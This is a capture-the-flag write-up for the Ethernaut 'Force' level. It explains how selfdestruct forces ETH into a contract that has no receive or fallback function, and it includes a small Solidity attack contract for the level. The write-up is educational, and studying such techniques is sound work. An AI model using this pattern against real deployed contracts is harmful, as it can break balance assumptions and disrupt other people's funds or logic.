Writeups/Ethernaut/Force
EasyEthernaut · Ethernaut2024

Force

Forced ETH Delivery via selfdestruct

Contracts with no `receive` or `fallback` cannot normally receive ETH. However, `selfdestruct(target)` bypasses this restriction and forces ETH into the target regardless of its code.

SolidityselfdestructForced ETH Transfer

00Overview

Contracts with no `receive` or `fallback` cannot normally receive ETH. However, `selfdestruct(target)` bypasses this restriction and forces ETH into the target regardless of its code.

01Deploy and self-destruct a funded contract

javascript
contract ForceAttack {
    constructor(address payable target) payable {
        selfdestruct(target);
    }
}
// Deploy with 1 wei — selfdestruct fires in constructor

02Level Completed

Force — completion screenshot 1